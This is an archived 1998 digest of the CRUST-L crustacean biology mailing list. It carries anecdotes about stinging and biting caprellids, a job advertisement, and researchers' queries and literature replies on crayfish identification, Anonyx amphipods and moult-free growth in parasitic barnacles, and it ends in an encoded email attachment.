"""""""""""""""""""""""""""""""""""""""""""""" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 09:26:35 -0400 (EDT) Subject: CRUST-L: stinging crustaceans Unbelievable! Please respond to the list directly, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Martin Thiel To: "'crust-l@vims.edu'" Subject: stinging caprellids... Date: Thu, 30 Apr 1998 08:02:18 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.0.1460.8) Content-Type: text/plain Now I cannot resist. A few years ago during a literature-search i came across a 1-page article where somebody reported that he was attacked by caprellids. Obviously this person had quite a formidable chest-hair, and the caprellids had taken refuge in his chest-hair while he was taking a swim in the ocean. when he came back onto the beach, the caprellids became unhappy, and started to bite this poor person. I kind of remember that he had quite a painful experience. This must have been such an remarkable event for him that he thought it would be worthwhile to report this caprellid-attack. as far as i recall he did not however speculate on venoms, but it sounds that it would be worthwhile to repeat this experiment. it requires, however, a formidable chest-hair..... unfortunately i cannot recall where this was published, and i did at that time not make a copy of the paper.... looking forward to read more about caprellid-attacks, martin =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Judith Weis Date: Thu, 30 Apr 1998 10:23:02 -0400 (EDT) Subject: Re: CRUST-L: stinging crustaceans This sounds like a good idea for one of those "horrible creatures from the deep" movies... 1880's: "There's lots of good fish in the sea" W.S. Gilbert 1990's: Many fish stocks depleted due to overfishing, habitat loss, and pollution. \ \ \ \ \ - - _ - \ \ \ \ ----\ - _ - \ - - ( O \ _ - -_ __ / - - / -/// _ ______ ___/ /// / Judith S. Weis Department of Biological Sciences Rutgers Univ. Newark NJ 07102 jweis@andromeda.rutgers.edu On Thu, 30 Apr 1998, Jeffrey Shields wrote: > Unbelievable! Please respond to the list directly, and not to me. > Thanks, > Jeff > > ---------- Forwarded message ---------- > From: Martin Thiel > To: "'crust-l@vims.edu'" > Subject: stinging caprellids... > Date: Thu, 30 Apr 1998 08:02:18 -0400 > MIME-Version: 1.0 > X-Mailer: Internet Mail Service (5.0.1460.8) > Content-Type: text/plain > > Now I cannot resist. A few years ago during a literature-search i came > across a 1-page article where somebody reported that he was attacked by > caprellids. Obviously this person had quite a formidable chest-hair, and the > caprellids had taken refuge in his chest-hair while he was taking a swim in > the ocean. when he came back onto the beach, the caprellids became unhappy, > and started to bite this poor person. I kind of remember that he had quite a > painful experience. This must have been such an remarkable event for him > that he thought it would be worthwhile to report this caprellid-attack. as > far as i recall he did not however speculate on venoms, but it sounds that > it would be worthwhile to repeat this experiment. it requires, however, a > formidable chest-hair..... > unfortunately i cannot recall where this was published, and i did at that > time not make a copy of the paper.... > looking forward to read more about caprellid-attacks, martin > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU for additional commands. > Archives available at http://www.vims.edu/~jeff/archive.htm > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 10:43:48 -0400 (EDT) Subject: CRUST-L: Stinging creatures Crustlers, Martin's post on chest-hair clinging caprellids reminded me of an experience on the Great Barrier Reef. My wife and I were swimming along the reef crest when we were "surrounded" by a large number of pteropods, and extremely small gelatinous creatures (comb and other jellies). My wife's swim suit acted to filter the jellies onto her bosom where she was stung repeatedly. Chest hairs protected me from all of the stings. We both wore sting suits thereafter. In a similar occurrence, I had a blue bottle (Physalia) tentacle brush across my face and was saved from a burn by the fact that I hadn't shaved for two days. Guess there's something to say for being a grubby male :-) Cheers, Jeff =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 30 Apr 1998 11:47:32 -0400 (EDT) Subject: CRUST-L: Lectureship in Crustacean Aquaculture Please respond to the addresses below and not to me. Thanks, Jeff - ---------- Forwarded message ---------- To: crust-l@vims.edu From: Ivars Avens (by way of "Dr. Andrew G. McArthur" ) Subject: Lecturer in Crustacean Biology Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" UNIVERSITY OF TASMANIA LAUNCESTON SCHOOL OF AQUACULTURE Associate Lecturer/Lecturer in Crustacean Biology The School of Aquaculture seeks to appoint an Associate Lecturer (Level A) or Lecturer (Level B) to teach in Crustacean Aquaculture on a full-time limited term basis (3 - 5 years, subject to negotiation) commencing on 1 July 1998. The full text of the advertisment for this position is available as the following Adobe Acrobat file: http://www.utas.edu.au/docs/aquaculture/ad.wp.pdf For further information about the position please contact Professor Ned Pankhurst, School of Aquaculture on +61 3 6324 3801, by fax on +61 3 6324 3804 or by email Ned.Pankhurst@utas.edu.au. For an application package please contact Tracy Lowe (Tracy.Lowe@utas.edu.au) on +61 3 6226 2013 or fax on +61 3 6226 2751 and quote reference number LA 76/98. The closing date for applications is Monday 25 May 1998. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Karen T Lee Date: Thu, 30 Apr 1998 15:18:00 -0400 (EDT) Subject: CRUST-L: Crayfish identification??? I am starting a project on the ecology and distribution of crayfish in the mountains of West-Central PA. To my knowledge, next to nothing has been done here since Ortmann in 1906(5?). (I am converting myself from a marine to an aquatic ecologist, a wise decision considering my location.) After doing some reading and talking informally to people at meetings, I have come to two conclusions: 1) It is incredibly difficult to ID crayfish in the field below genus. 2) Forget about IDing females at all. So, now my questions: 1) Am I being overly pessimistic? (I sure hope so...) Is there a way to ID below genus in the field and can one ID females, at least to genus? I am trying to avoid sacrificing every crayfish we collect just so that we can ID them. 2) Does a dichotomous key to crayfish genera exist? I have Horton-Hobbs (1989) checklist and some more recent stuff, but haven't found a good key. (Though the image of myself and my undergraduate researchers perched next to a bucket of crayfish while flipping through all those pictures of reproductive appendages is amusing, it would get pretty old after a couple of weeks.) 3) Does anybody know if there is some work in Western PA that I have missed during my computer searches, like dissertations or unpublished work? 4) If field ID's are too difficult to do, what do those of you who work on crayfish do about that? Any help you can give me would be greatly appreciated. Feel free to respond privately and I will post a summary later if anybody is interested. Karen *************************************** Karen T. Lee, PhD (ktlee+@pitt.edu) Department of Biology University of Pittsburgh at Johnstown Johnstown, PA 15904 814-269-2912 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: zimmer@panix.com (Carl Zimmer) Date: Fri, 1 May 1998 10:21:12 -0500 Subject: CRUST-L: Sacculina research Greetings: I'm a journalist with an interest in parasites, including parasites of crustaceans. I was wondering if there's anyone in the northeast who's working on Sacculina or other rhizocephalans? (By northeast, I mean somewhere between Washington and Boston.) Thanks in advance. Best wishes, Carl Zimmer Senior Editor, Discover email:zimmer@panix.com phone: (212) 633-4836 fax: (212) 633-4817 Address: 114 5th Ave., 15th Floor New York, NY 10011 USA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Aaron Baldwin Date: Mon, 4 May 1998 15:42:50 -0800 (AKDT) Subject: CRUST-L: Information on Anonyx Dear Crust-lers, I am looking for references for the gammarid genus Anonyx (fam. Lysianassidae). A guide to world wide species (if such a thing exists) would be great. The species I am interested in is the one that resembles A. lilljeborgi, but has the inner ramus of the second uropod not very constricted. This species is abundant locally (in Southeast Alaska) and is something of a pest to crabbers and long-liners because they will strip bait and even hooked fish. Thanks in advance- Aaron =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Tue, 5 May 1998 14:26:23 -0900 (PDT) Subject: CRUST-L: Molecular biology cooporation My name is Uri Abdu and I am a Ph.D. student at the Department of Life Sciences at BGU in the Laboratory of Dr. Amir Sagi. We study physiological aspects of the reproduction of the newly introduced Australian red-claw crayfish Cherax quadricarinatus. I am going to spend a six month period (and if needed an extended period) in Princeton. At this point of my study we seek a collaborating laboratory with strong molecular capabilities. During that period I will be supported by a fellowship from BGU where I serve as a teaching assistant. This will cover for my salary and travel. I will appreciate if some of you will be interested or could direct me to a person whose interested in similar areas (could be also in other species or even other class of organisms) Sincerely Uri Abdu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Abdu uri Date: Tue, 5 May 1998 14:30:23 -0900 (PDT) Subject: CRUST-L: molecular biology My name is Uri Abdu and I am a Ph.D. student at the Department of Life Sciences at BGU in the Laboratory of Dr. Amir Sagi. We study physiological aspects of the reproduction of the newly introduced Australian red-claw crayfish Cherax quadricarinatus. I am going to spend a six month period (and if needed an extended period) in Princeton. At this point of my study we seek a collaborating laboratory with strong molecular capabilities. During that period I will be supported by a fellowship from BGU where I serve as a teaching assistant. This will cover for my salary and travel. I will appreciate if some of you will be interested or could direct me to a person whose interested in similar areas (could be also in other species or even other class of organisms) Sincerely Uri Abdu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chip Biernbaum Date: Tue, 05 May 1998 08:57:21 -0400 (EDT) Subject: CRUST-L: Information on Anonyx Aaron, Here are two papers from the Bulletin of the Biological Society of Washington, No. 3 (1979) -- Symposium on the Composition and Evolution of Crustaceans in the Cold & Temperate Waters of the World Ocean: Steele, D. H.Clinal variation in the morphology of Anonyx nugax (Phipps) (Crustacea, Amphipoda), pp. 41-46. Steele, D. H. Zoogeography of the genus Anonyx (Crustacea, Amphipoda), pp. 47-53. Some others: Steele, D. H. 1982. The genus Anonyx (Crustacea, Amphipoda) in the North Pacific and Arctic oceans: Anonyx nugax group. Can. J. Zool. 60:1754-1775. Steele, D. H. 1983. The genus Anonyx (Crustacean, Amphipoda) in the North Pacific Ocean: Anonyx validus group. Can. J. Zool. 61:2921-2931). Steele, D. H. 1986. The genus Anonyx (Crustacea, Amphipoda) in the North Pacific and Arctic oceans: Anonyx laticoxae group. Can. J. Zool. 64:2603-2623. Steele, D. H., and P. Brunel. 1968. Amphipoda of the Atlantic and Arctic coasts of North America: Anonyx (Lysianassidae). J. Fish. Res. Bd. Canada 25(5):943-1060. [a major Anonyx reference] Hurley, D. E. 1963. Amphipoda of the family Lysianassidae from the west coast of North and Central America. Occasional Papers Allan Hancock Found. 25:1-160. [Anonyx on pp. 100-118] And for "flavor": Sainte-Marie, B. 1984. Morphological adaptations for carrion feeding in four species of littoral or circalittoral lysianassid amphipods. Can. J. Zool. 62:1668-1674. [includes A. sarsi] Sainte-Marie, B. 1986. Effect of bait size and sampling time on the attraction of the lysianassid amphipods Anonyx sarsi Steele & Brunel and Orchomenella pinguis (Boeck). J. Exp. Mar. Biol. Ecol. 99:63-77. Sainte-Marie, B. Feeding and swimming of lysianassid amphipods in a shallow cold-water bay. Mar. Biol. 91:219-229. [includes A. sarsi] Sainte-Marie, B., and G. Lamarche. 1985. The diets of six species of the carrion-feeding lysianassid amphipod genus Anonyx and their relation with morphology and swimming behavior. Sarsia 70:119-126. Chip >Return-path: >Date: Mon, 04 May 1998 15:42:50 -0800 (AKDT) >From: Aaron Baldwin >Subject: CRUST-L: Information on Anonyx >Sender: owner-crust-l@vims.edu >X-Sender: jsapb@ptialaska.net >To: crust-l@VIMS.EDU >Reply-to: Aaron Baldwin > >Dear Crust-lers, > >I am looking for references for the gammarid genus Anonyx (fam. >Lysianassidae). A guide to world wide species (if such a thing exists) would >be great. The species I am interested in is the one that resembles A. >lilljeborgi, but has the inner ramus of the second uropod not very >constricted. This species is abundant locally (in Southeast Alaska) and is >something of a pest to crabbers and long-liners because they will strip bait >and even hooked fish. Thanks in advance- Aaron > >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= >To (un)subscribe to CRUST-L: >Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. >To post to CRUST-L, send messages to CRUST-L@VIMS.EDU >Send HELP to MAJORDOMO@VIMS.EDU for additional commands. >Archives available at http://www.vims.edu/~jeff/archive.htm >=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > Charles K. (Chip) Biernbaum Grice Marine Biological Laboratory College of Charleston 205 Ft. Johnson Charleston, SC 29412 843-406-4010 (FAX: 843-406-4001) e-mail: biernbaumc@cofc.edu PLEASE NOTE THE NEW AREA CODE =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 5 May 1998 10:29:59 -0400 (EDT) Subject: CRUST-L: ocypode quadrata (fwd) Please respond to Martin Thiel, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Martin Thiel Subject: Ocypode quadrata Hello Decapodologists, During the last few weeks we had a recurring little conversation around our coffee-pot. We were wondering about the reproduction of Ocypode quadrata. Despite being a very common crab, it appears to be difficult to track down information on its reproductive seasonality and larval settlement. A friend of mine who is working on this topic had searched several databases, but could not find any good leads. We are convinced that there must be information out there about Ocypode quadrata and its reproductive seasonality and larval settlement, and we would appreciate any hints. Thank you very much. Martin Thiel =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: penny.palmer@stonebow.otago.ac.nz (Penny) Date: Wed, 6 May 1998 11:15:24 +1200 Subject: CRUST-L: moult-free growth Kia ora I have heard of parasitic crustaceans with soft, unscleratinised cuticles, which no longer moult but continue to grow in size. What is the current understanding of this? Are these crustacea growing (addition of new cellular material), or does their cuticle simply stretch? thanks in advance Penny ************************************************************************** PENNY PALMER Department of Marine Science, University of Otago P.O. Box 56, Dunedin, New Zealand ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 email: penny.palmer@stonebow.otago.ac.nz ************************************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: P.Davie@mailbox.uq.edu.au Date: Wed, 06 May 98 12:10:24 +1100 Subject: CRUST-L: Caprellid nasties All this talk of caprellids has reminded me of a young woman who turned up at the Museum with a caprellid to identify. It seems she had had a rather severe anaphylactic shock reaction after eating from a tin of smoked oysters in which this poor little fella had also been accidently entombed. It was a typical reaction that she has to crustaceans, but I was amazed that such a tiny little skinny body would cause such a problem. The Revenge of the Caprellidae! Peter - ---------------------------------------------------- P.J.F. Davie Senior Curator, Crustacea Queensland Museum P.O. Box 3300 South Brisbane. QLD 4101 Australia Ph: 61.7.38407719 Fax: 61.7.38461226 Email: P.Davie@mailbox.uq.edu.au - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #140 ***************************** From owner-crust-l Wed May 6 17:34:21 1998 Received: (from majord@localhost) by back.vims.edu (8.6.12/) id RAA19684 for crust-l-digest-outgoing; Wed, 6 May 1998 17:32:40 -0400 Date: Wed, 6 May 1998 17:32:40 -0400 Message-Id: <199805062132.RAA19684@back.vims.edu> From: owner-crust-l-digest To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #141 Reply-To: crust-l Errors-To: owner-crust-l-digest Precedence: bulk Status: RO X-Status: X-Keywords: X-UID: 15 crust-l-digest Wednesday, 6 May 1998 Volume 01 : Number 141 RE: CRUST-L: moult-free growth CRUST-L: course at bigelow CRUST-L: Mac Worm (fwd) CRUST-L: Lussier ] (fwd) Re: CRUST-L: moult-free growth CRUST-L: barnacles CRUST-L: Lussier ] (fwd) CRUST-L: toxic crusties responses ---------------------------------------------------------------------- From: "Hoeg, Jens T {CAL}" Date: Wed, 6 May 1998 08:37:27 +0200 Subject: RE: CRUST-L: moult-free growth This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. - ------ =_NextPart_000_01BD78C3.307A5510 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear Penny I have studied rhizocephalan cirripedia extensively. It is well understood that they increase the size of the external reproductive = body by moults (1,2) However, some species are capable of drastic increases in size in between moults. In one species I studied, it seemed as if the small parasite had "reserves" of epithelium and cuticle infolded as bars which were later stretched and became true part of the exterior lining as the parasite increased in size (3) Finally, the internal root system of rhizocephalan barnacles is covered by a very delicate cuticle. This root system grows extensively but is NEVER moulted (4) Best regards Jens (1) Ritchie LE; H=F8eg JT. 1981. The life history of Lernaeodiscus porcellanae (Cirripedia Rhizocephala) and co-evolution with its porcellanid host. J. Crustacean Biol. 1: 334-347._ (2) H=F8eg JT; L=FCtzen J. 1995. Life cycle and reproduction in the Cirripedia Rhizocephala. Oceanogr. Mar. Biol. Annu. Rev. 33: 427-485._ (3) H=F8eg JT. 1982. The anatomy and development of the rhizocephalan barnacle Clistosaccus paguri Lilljeborg and relation to its host Pagurus bernhardus (L.). J. exp. mar. Biol. Ecol. 58: 87-125._ (4) H=F8eg JT. 1992. Rhizocephala. In: Harrison FW; Humes AG (eds). Microscopic anatomy of invertebrates. Vol. 9. Crustacea. Wiley-Liss Inc. New York. : 313-345._ Jens T. Hoeg, Ph.d, D.Sc DEPARTMENT OF CELL BIOLOGY AND ANATOMY Institute of Zoology - University of Copenhagen DK-2100 - Copenhagen - Denmark E-Mail jthoeg@zi.ku.dk Office +45 35 32 12 47 Home +45 42 84 11 60 Fax +45 35 32 12 00 ---------- From: penny.palmer@stonebow.otago.ac.nz[SMTP:penny.palmer@stonebow.otago.ac.nz= ] Sent: 6. maj 1998 01:15 To: crust-l@vims.edu Subject: CRUST-L: moult-free growth Kia ora I have heard of parasitic crustaceans with soft, unscleratinised cuticles, which no longer moult but continue to grow in size. What is the current understanding of this? Are these crustacea growing (addition of new cellular material), or does their cuticle simply stretch? thanks in advance Penny =09 ************************************************************************= ** PENNY PALMER Department of Marine Science, University of Otago P.O. Box 56, Dunedin, New Zealand ph. 64 (3) 479 8306 fax. 64 (3) 479 8336 email: penny.palmer@stonebow.otago.ac.nz =09 ************************************************************************= ** =09 =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =09 =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-= =3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D-=3D =09 - ------ =_NextPart_000_01BD78C3.307A5510 Content-Type: application/ms-tnef Content-Transfer-Encoding: base64 eJ8+IhEHAQaQCAAEAAAAAAABAAEAAQeQBgAIAAAA5AQAAAAAAADoAAEIgAcAGAAAAElQTS5NaWNy b3NvZnQgTWFpbC5Ob3RlADEIAQSAAQAfAAAAUkU6IENSVVNULUw6IG1vdWx0LWZyZWUgZ3Jvd3Ro ABAKAQmAAQAhAAAAMDkwOTVDNTVCQUU0RDExMThBRTYwMDIwQUZGN0MxQzUALQcBIIADAA4AAADO BwUABgAJAC8AEAADACsBAQWAAwAOAAAAzgcFAAYACAAlABsAAwArAQENgAQAAgAAAAIAAgABA5AG AEAOAAAcAAAAQAA5AAAa7m+5eL0BHgBwAAEAAAAbAAAAQ1JVU1QtTDogbW91bHQtZnJlZSBncm93 dGgAAAIBcQABAAAAGwAAAAG9eH+5guLrcPPkJxHRk0kAoCTwCvgADbwZIAACAQkQAQAAAPMKAADv CgAAXBUAAExaRnXtsVTNZwAJAzABAjY5APILYG5gZzEwMzMB9wHxNRMDxQIAY2gKwHNldMEC0XBy cTIgBxMCg/43D78QxQXrAoMOoBHvEMXhBrBzdGVtAoMOAQNUKxUfB8FDCfB0CHB5U3EQQGxiawKA ApEI5juFCW8wGk9lMjU1G3r/HJEcTx1ZG2QdghvvH78ffYce/x0vG39lMTI4JUr/JmEmHycpG2Qn UiW/KY8pTecozyb/KsQ5Mi4FL3Enk6cvcAKCFkB5bAeQaAnghnQAAAPwZGN0bAqzww3xAzBzbmV4 EKAHsNcFsADAAnMqCNBzDqADMABhZGRpdGl2ZUQgRAEQYXVsBUBQBQrAYQnAYXBoIEZ7AiEwozEP oDGnCiALIHLPCVA3QhUAN0J3NCSxEHCmcAHQMjZiYRCAZAIgvwFAMqM2cDUwBRACMC010CEDYTog VG87IFN1lGJqBZB0OyBEYRZQ+jo2JDY2nzevOLMxMDQw/wuADpAeADQBDDAWwwvwERAzOU86V1Jl NJAQcSBI/mU0MASQNiQR0DzvPf8/Ck4wRqA/9g5kMjRAvzHmOEJRC1B5LzXgODALEf1C1XM2JCdw Q89E3zjPSH8vSYU7QjrkPBV9AVUzNnMBQDGhb3cx0EuxAYBu7zugAGAJ8DRAbwDgAhAzMP8/QjSg AgAQkTOSFlELURZQoCBDOlxcBeBPASCoaWNlVMBXC4B3BbBNCzBcFmALcGwuQSB0/1CgEIAx0EnQ R0ALgDLAAUCjMUBDAnk3MBbhb1aAU1flCOFzeFgRIDOScGMAgAWQbHZsAFBZ0HX9BQBtWcIBkAAg WlILgAEA/wIwAcFZwRBQDoAAAFnQDND5AZAgLhmCWbgvgFpyNRDvS2Ba71v/XQ8zWcEFgV6v01+/ YM9sNFnBbF5vYy99ZDUpXTwPoGIPZu9kJGL8ICgCkWgPWgM8wGW/an//a49sn1owEdBt4lq/b09w X/9dPCdwbe9zb3R/dY9aMA4Q/3Jvd/95D3oUCvkDMDGtAACzDmIB0DU3NLEKwVAJ8MxueQqFCoVJ IBBQNJENFkB1NFAJgCByaGkeelKwSSAQUA5hIGNp7nIFEQmABzAgMsEJ8ACQOzSQSUAugsAFQAQA IHfbhdADIHV8gRBwdFhgSdBOdBBQBUCHgGV5hkBufwUAQvBCsYfRgzCD4DSgb/5miKOFUgSgB0CD sEkgA2CuZFqQNHMG4GSIAGKIAAcEYDUBBCAoMSwyKfdC0FGQQnIsgzADcIMhhPDvhKAHkQrANKBj NaABoDEQ74kyS6BA8DRwY4gXBCB/cXuI839xYhCQhoAJ8IuFLv+CZgOgAiCNKILQg0WM0DRgf4Mw CeAHgEnQQPCGQIlUc/8zQQMgCrFA8DRgNKA/UVcRcmQCYHF1WHGKMRCAcv80kBUACyCWJokySSA0 